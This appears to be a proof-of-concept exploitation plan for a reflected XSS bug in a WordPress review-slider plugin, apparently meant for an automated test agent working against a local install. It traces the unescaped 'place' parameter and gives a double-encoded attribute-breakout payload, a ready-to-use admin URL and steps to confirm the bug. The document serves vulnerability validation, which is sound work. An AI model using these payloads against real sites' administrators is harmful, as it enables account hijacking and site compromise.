Exploitation Research Plan: CVE-2026-13015 (WP Google Review Slider)

1. Vulnerability Summary

The WP Google Review Slider plugin (versions <= 18.1) is vulnerable to Reflected Cross-Site Scripting (XSS). The vulnerability exists in admin/partials/googlecrawl_dfs.php, where the place GET parameter is double-decoded and echoed into the value attribute of an HTML input field without proper attribute escaping. Although the file is within the admin directory and requires manage_options capabilities to view, an unauthenticated attacker can exploit this by tricking a logged-in administrator into clicking a malicious link.

2. Attack Vector Analysis

• Target Endpoint: WordPress Admin Dashboard
• Vulnerable File: admin/partials/googlecrawl_dfs.php
• Vulnerable Page Slug: Likely wp-google-review-slider-google-crawl (to be confirmed by searching for add_menu_page or inclusion of googlecrawl_dfs.php).
• Vulnerable Parameter: place (via $_GET)
• Authentication Requirement:
  • Attacker: Unauthenticated (to craft and send the link).
  • Victim: Authenticated Administrator (with manage_options capability).
• Preconditions: The plugin must be active. The vulnerability triggers when the provided place is not found in the existing wprev_google_crawls option.

3. Code Flow

1. Entry Point: The administrator visits the plugin's admin page (e.g., wp-admin/admin.php?page=wp-google-review-slider-google-crawl&place=[PAYLOAD]).
2. Capability Check: googlecrawl_dfs.php (Line 13) checks current_user_can('manage_options').
3. Source: $_GET['place'] is retrieved and explicitly passed through urldecode() (Line 17), creating a double-decoding scenario since PHP auto-decodes $_GET once.

   $currentplace = "";
   if(isset($_GET['place'])){
       $currentplace = urldecode($_GET['place']);
   }
   

4. Logic Branch: The code checks if $currentplace exists in the wprev_google_crawls option (Lines 34-40). If it does not exist, it falls into the else if block:

   } else if(!isset($googlecrawlsarray[$currentplace]['enteredidorterms'])){
       $savedplaceid = stripslashes($currentplace);
   }
   

5. Sink: The raw $savedplaceid is passed through stripslashes() and echoed directly into the value attribute of the #gplaceid input (Line 99).

   <input id="gplaceid" ... value="<?php echo stripslashes($savedplaceid); ?>" ...>
   

6. Injection: Since esc_attr() is missing, an attacker can use " to break out of the attribute and inject tags like <script> or event handlers like onerror.

4. Nonce Acquisition Strategy

No nonce is required for this reflected XSS.
Reflected XSS occurs during the rendering of a GET request. In WordPress, standard admin pages registered via add_menu_page perform capability checks but do not typically require a CSRF nonce just to view the page. The payload is executed immediately upon the administrator loading the page.

5. Exploitation Strategy

Step 1: Identify the Admin Page Slug

Use grep to find where googlecrawl_dfs.php is included to determine the exact page parameter.

grep -r "googlecrawl_dfs.php" .

Step 2: Craft the Payload

Because the code calls urldecode() on a value already decoded by PHP, we must use double URL encoding to ensure the payload survives and executes.

• Target Tag Breakout: "><img src=x onerror=alert(document.domain)>
• Encoding:
  • " -> %22 -> %2522
  • > -> %3E -> %253E
  • < -> %3C -> %253C
• Full Payload: place=%2522%253E%253Cimg%2520src%253Dx%2520onerror%253Dalert(document.domain)%253E

Step 3: Execution

The automated agent will simulate an administrator session and navigate to the crafted URL using the browser_navigate tool.

Example Request:

• URL: http://localhost:8080/wp-admin/admin.php?page=[SLUG]&place=%2522%253E%253Cimg%2520src%253Dx%2520onerror%253Dalert(document.domain)%253E

6. Test Data Setup

1. Install and activate WP Google Review Slider version 18.1.
2. Create an administrator user.
3. Ensure no existing crawl data for the payload exists (standard on a fresh install).

7. Expected Results

• When the administrator navigates to the URL, the HTML source at the vulnerable input will look like:

  <input id="gplaceid" ... value=""><img src=x onerror=alert(document.domain)>" ...>
  

• The browser will execute the onerror handler, triggering a JavaScript alert containing the site's domain.

8. Verification Steps

1. Browser Verification: Use browser_eval to check if a global variable set by the payload (e.g., window.pwned = 1) exists, or observe the alert.
2. Source Verification: Use http_request as an admin to fetch the page and verify that the place parameter's content appears unescaped in the response body.

   # Check for the injected tag in the raw HTML
   grep "<img src=x onerror=alert(document.domain)>" 
   

9. Alternative Approaches

• Bypassing stripslashes: If the environment has magic_quotes style behavior (unlikely in modern PHP but possible via other plugins), use String.fromCharCode for the JS payload to avoid quotes.
• Tab Switching: If the DFS page is not the default, check if googlecrawl.php (the other partial) has similar vulnerabilities. (Note: admin/partials/googlecrawl.php Line 63 uses esc_attr(stripslashes($savedplaceid)), indicating it is not vulnerable, highlighting the specific omission in googlecrawl_dfs.php).